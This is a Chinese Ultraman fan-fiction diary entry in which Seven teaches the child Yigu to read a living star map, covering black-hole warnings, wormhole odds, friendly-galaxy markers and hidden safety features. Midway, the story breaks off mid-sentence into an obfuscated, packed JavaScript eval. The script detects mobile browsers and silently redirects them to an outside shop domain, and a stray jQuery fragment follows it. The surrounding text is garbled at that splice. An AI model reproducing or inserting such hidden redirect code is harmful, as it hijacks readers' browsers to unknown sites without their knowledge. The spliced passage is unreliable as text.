1978年8月20日星期三晴
伊咕今天学会用星图。
——
星图，在光之国语："光路之镜"，是光之国为每一位奥特战士配备的个人导航装置。它不只是一张地图——它是一个动态的、有生命的宇宙模型，能实时反映已知宇宙中所有星系、星云、黑洞、虫洞的位置与状态。
基本的模样是，一块手掌大小的六边形晶片，通体透明，边缘泛着淡金色的微光。平时可以像吊坠一样挂在脖子上，或嵌入腕甲中。
晶片悬浮在掌心上空，投射出一颗旋转的、半透明的光球——那是整个已知宇宙的缩影。光球内部有无数细如发丝的光线在流动，每条光线代表一条可航行的星际路径。
星图不是静止的。它像呼吸一样脉动——星系在旋转，星云在扩散，恒星在生灭。它反映的是"此时此刻"的宇宙，不是过去的地图，星图能感知当地磁场的能量波动。当奥特战士靠近危险区域时，星图会提前"预警"——相应区域会闪烁红光或发出低频震动，星图会记录使用者走过的每一条航线。走过的路线会变成金色，像在宇宙中留下一串发光的脚印。
光之国的星图之间可以共振。两名奥特战士可以通过星图"看到"彼此的位置和状态。
诸星团第一次给伊咕展示星图时，打开的方式非常郑重——他取下伊咕脖子上的莫比乌斯项链，轻轻一托，一颗拳头大小的淡蓝色光球缓缓升起，悬浮在两人之间。
伊咕屏住呼吸。
光球内部有无数细微的光点在流动，像一条由星星组成的河。它们不是静止的——有些在缓慢旋转，有些在互相靠近，有些在暗淡下去的同时另一颗在亮起来。
"好漂亮……"她小声说，"像活的。"
"它就是活的。"诸星团说，"你在看的是宇宙现在的样子。就在这一秒——它正在变化。"
他把手指伸入光球，轻轻拨动了一下。光球内部的世界随之"放大"，伊咕看见一片星域在眼前展开——密密麻麻的恒星、缠绕的星云、一条横贯画面的光带。
"这是我们现在所在的银河系。地球在这条旋臂的边缘——你看见了吗？那颗蓝色的、很小的光点。"
伊咕凑近了看。在无数璀璨的光芒中，有一颗极其微小的蓝色光点，微弱但稳定地闪烁着。"……那是地球？"
伊咕看了那颗蓝色光点很久。"我们在地球上，但是用星图看地球——它就在我眼前。好奇怪的感觉。"
"这叫'视角切换'。以后你要学会在不同的视角看同一件事。宇宙中没有什么东西是只有一个侧面的。"
"星图最重要的工作之一——告诉你哪条路能走，哪条路走进去就回不来了。"
诸星团的指尖在光球内部划过，停在一小片看起来空无一物的区域。那片区域黑得像一滴墨落在蓝色画布上，边缘有微弱的扭曲——像光在绕过什么东西时被迫弯折。
这个星图项链是拿赛文的星图做成的，等回到光之国给伊咕订制一个全新的。
"这是什么？"小奥指着那片黑色。
"黑洞。它不发光，所以看起来是空的。但你看它边缘——那些光线的弯曲。"赛文的手指沿着黑洞的边缘画了一圈，"光经过它的时候会被拉弯。如果太靠近，光就出不来了。"
伊咕盯着那片黑色的区域，"……它看起来像一张嘴。"
"它就是宇宙一张嘴——什么都吞，连光都不放过，你遇见要远离。"
"那星图怎么告诉我们它在那里？"
"两种方式。"赛文把手靠近那片黑色区域——星图上立刻弹出一圈暗红色的光晕，像缓慢涨落的潮汐。"第一，颜色预警。黑洞边缘会显示暗红色——越靠近红色越深。第二——"他把手指放得更近，晶片发出一声极低沉的、像远处闷雷一样的嗡鸣，"——触感预警。靠近危险区域时，星图会震动。越近震得越厉害。"
伊咕试探性地伸手靠近那片暗红色区域。她的指尖刚接近，晶片就发出了轻微的震动，"……它在发抖！"
"它在告诉你：别走这边。"
"那如果已经掉进去了怎么办？"
诸星团沉默了一下。"……掉进去之后，星图会失去信号。光之国就找不到你了。"
伊咕把手缩回来了。她看着那片被暗红色光晕包裹的黑暗区域，小声说："……那我以后看见了就绕远一点走。"
"不用记住它的样子。记住它的颜色和震动就行——"诸星团把她的手指轻轻拉回来，放在星图的边缘，"——红色。震动。然后掉头。"
伊咕点了点头。她把那片暗红色区域的"感觉"记在了身体的记忆里——像记住火焰会烫手、冰会冻伤一样自然。
"有些黑洞会把东西吞进去，有些"诸星团在星图上划出一条弧线，显示一个旋涡状的淡紫色光晕，"——会把东西吐到别处去。"
"吐到别处？"伊咕的眼睛亮了，"那不是可以一下走好远？"
"理论上是。但虫洞很不稳定——入口在这边，出口在哪边不一定。星图可以测算出它的"出口区"——但精确度只有百分之四十左右。差一点就可能偏到未知星域去。"
伊咕盯着那个淡紫色旋涡，紫色是虫洞，红色是黑洞，看了好久。"……百分之四十？那剩下的百分之六十呢？"
"迷路。"
"如果我迷路了就在原地，让爸爸来找我。"
诸星团看了她一眼。"好孩子。"
"我知道你找得回来。"伊咕认真地说，"但是我不想让你找。我要让你站在原地等我回来。"
诸星团没有接话。
星图的每一个星系都有详细的档案信息，悬浮在光球内部，像一颗颗"信息星星"。当手指点触某个星系时，它会弹出光之国的文字注释：信息
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807460|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字段，星系名称，光之国标准命名，
特征标签，如"稳定""活跃""新生""衰老""有生命迹象"，危险等级1-10级（1为安全，10为禁区），特殊标识像黑洞/虫洞/暗星云/高能辐射区，光之国驻地坐标（如该星系内有光之国前哨站）。
"爸爸，这个星系为什么有一个笑脸？"
赛文凑过来看了一眼。那颗星系的档案卡上确实有一个小小的标记——光之国的符号语言，由两个弧线和一个短横组成。"因为这个星系是'友好型'。里面有一颗星球上有智慧生命，他们已经和光之国建立了联系。标记笑脸的意思是'可以降落，安全，有朋友'。"
伊咕立刻开始在星图上找笑脸。她翻了一圈，找到了七个："有好多地方有朋友！"
"以后会更多。"
"那有哭脸的吗？"
诸星团沉默了一下。"……有。"
他调出一个星系。档案卡上有一个倒置的弧线标记。"这是'谨慎型'。里面有智慧生命，但尚未建立外交关系。可以经过，但不建议长时间停留。进入前要提前报备。"
伊咕看了看那个"谨慎"的标记，又看了看"笑脸"的标记。"……笑脸的家我可以去玩。哭脸的家要先写信告诉人家
"差不多是这个意思。"笑脸和哭脸都是他标记出来的，不是标准用语。
"那没有标记的呢？"
"没有标记的属于'尚未探查'。没有去过，不知道里面有什么。尽量不要走。"
赛文在星图最新的一行标注上——'伊咕的起点'。
赛文在给伊咕的星图晶片中预先设置了几项她没有察觉的功能：
寻找爸爸模式：只要伊咕激活星图，诸星团的星图就会同步显示她的位置——一颗金色的小光点，旁边有一个极小的飞镖标识。
安全回程路径预存：星图内置了三条"从任何位置返回地球"的优化路径。诸星团花了五个晚上手动优化了每一条的参数。
紧急呼叫机制：如果伊咕的星图检测到她进入了危险区域（黑洞引力场/虫洞乱流/高能辐射区），会自动向光之国的佐菲发送警报，附带她的实时坐标和能量状态。
语音备注（隐藏）：在星图的"地球"位置，有一条语音备注——诸星团的录音，只有伊咕的能量特征才能解锁。内容是："这里等你回来。"
诸星团在某次教学后，让伊咕自己总结"使用星图时应该记住什么"。她想了很久，也没有写出什么东西，诸星团想了想，自己写了一条收录进了他的教学档案里，一个字没改就存档了。
"——星图不是工具。它是宇宙在告诉你：你去过的地方，都会记得你。"
伊咕后来翻到那行批注的时候，她看了很久。然后把那行字抄在了自己的星图第一页。
——从此以后她每次打开星图，都会先看一眼那行批注。